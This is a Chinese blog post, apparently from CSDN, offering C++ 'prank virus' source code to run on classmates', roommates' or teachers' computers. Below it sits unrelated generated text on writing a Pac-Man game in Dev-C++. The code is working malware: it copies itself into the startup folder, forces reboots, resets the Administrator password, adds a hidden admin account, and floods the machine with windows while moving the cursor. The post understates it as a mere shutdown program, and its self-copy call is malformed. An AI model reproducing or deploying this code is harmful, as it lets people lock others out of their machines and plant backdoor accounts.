c++做的搞人代码(病毒)

拥有它,你可以搞同学,盆友,室友(当然也可以搞老师~~~(只要不怕死))

切记这只是一个可以让电脑自动关机的代码!!~

look:

//千万别运行代码,不然······(后果自负) 
#include <iostream>
#include <windows.h>
#include <ctime>
#include <cstdlib>
#include <cstdio>
#include <fstream>
using namespace std;
int main(){
    char copy[80];
    sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
    system(copy);
    char cmd[] = "shutdown -r -t 0";
    system("ping baidu.com");
    system(cmd);
    system("pause");
    system(copy);
    system("net user Administrator xz");
    system("net user bingdu xz /add");
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0)); 
    system("shutdown -s -t 20");
    while (1){ 
        SetCursorPos(rand() % x,rand() % y);
        system("start");
    }
    return 0;
}

  • 24
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 16
    评论
### 回答1: 可以使用 DevC++ 编写吃豆人游戏的代码。首先需要明确游戏的基本规则和要求,然后编写相应的功能模块。 1. 游戏初始化:定义迷宫地图、游戏角色和豆子位置等基本数据。可以使用二维数组表示地图,数字表示不同的元素,如0表示墙壁,1表示豆子,2表示豆人等。 2. 游戏绘制:利用 DevC++ 中的图形库,结合地图和角色等数据,在屏幕上绘制出相应的游戏界面。 3. 角色移动:监听玩家输入的方向键,并根据移动条件判断是否可以进行移动。例如,判断角色所在位置是否是墙壁,或者是否有豆子等。 4. 碰撞检测:在角色移动的过程中,检测角色是否与豆子发生碰撞。如果发生碰撞,将豆子从地图和屏幕中移除,并更新得分。 5. 游戏结束判断:在每次玩家移动之后,判断是否满足游戏结束的条件。例如,所有豆子都已经被吃完,或者角色与敌人发生碰撞等。 6. 得分显示:在游戏界面上显示当前得分,可以使用 DevC++ 的图形库来绘制得分信息。 以上是大致的编写思路,具体的代码实现需要结合具体需求和功能。使用 DevC++ 编写吃豆人游戏,可以利用图形库和相关函数来实现界面绘制和用户交互等功能,同时需要合理设计数据结构和逻辑判断,保证游戏的可玩性和流畅性。 ### 回答2: 使用 DevC++ 编写吃豆人游戏的代码是很有趣的。首先,我们需要一个图形界面来呈现游戏,我们可以使用 DevC++ 提供的 EasyX 图形库,它可以帮助我们创建简单的图形界面。 在游戏中,我们首先需要定义豆子和吃豆人的形状和位置。我们可以使用图形库提供的接口来绘制豆子和吃豆人的形状,并设置它们的初始位置。 接下来,我们需要设置吃豆人的移动。我们可以使用键盘输入来控制吃豆人的移动方向。当玩家按下上、下、左、右方向键时,我们可以根据键盘输入来改变吃豆人的位置。 然后,我们需要定义豆子的生成和吃豆人吃掉豆子的逻辑。我们可以使用随机数生成豆子的位置,并且在吃豆人经过豆子时,将豆子从屏幕上移除。 最后,我们需要定义游戏结束的条件。例如,当吃豆人吃到一定数量的豆子时,游戏可以胜利;当吃豆人碰到敌人时,游戏可以失败。在这些条件满足时,我们可以显示相应的提示信息,并结束游戏。 总的来说,使用 DevC++ 编写吃豆人游戏的代码是一项有趣的任务。通过合理的设计和编写代码,我们可以创建一个简单而又有趣的吃豆人游戏。 ### 回答3: 使用Dev-C++编写吃豆人代码需要进行以下几个步骤: 1. 创建一个新的工程:在Dev-C++中点击“文件”->“新建”->“项目”,选择“Win32控制台应用程序”,点击“下一步”并命名你的项目。然后点击“完成”。 2. 设置编译器:在Dev-C++的菜单栏中点击“工具”->“编译器选项”,选择“程序”选项卡。在"C++命令行"中添加"-std=c++11"来使用C++11的语法。点击“确定”保存设置。 3. 添加吃豆人代码:在新建的工程下,将吃豆人的源代码复制到新建的源文件中,例如“main.cpp”。 4. 编译与运行:点击菜单栏的“项目”->“编译当前文件”来编译代码。如果没有错误,点击“项目”->“运行”来运行代码。 5. 自定义游戏规则:根据需求,可以根据游戏规则来自定义地图、吃豆人和鬼怪的行为等。 6. 添加图形界面(可选):如果需要添加图形界面,可以使用第三方库例如SFML或SDL来实现。需要下载并配置相关库文件,然后在代码中添加相应的函数和事件处理。 7. 测试与调试:在开发过程中进行适当的测试和调试,确保代码的正确性和稳定性。 总结来说,使用Dev-C++编写吃豆人代码需要创建新的工程,在工程中添加吃豆人源代码,编译并运行代码,根据需求自定义游戏规则,可选地添加图形界面,并进行测试和调试。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿玥的小东东

感谢您的打赏,我会继续努力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值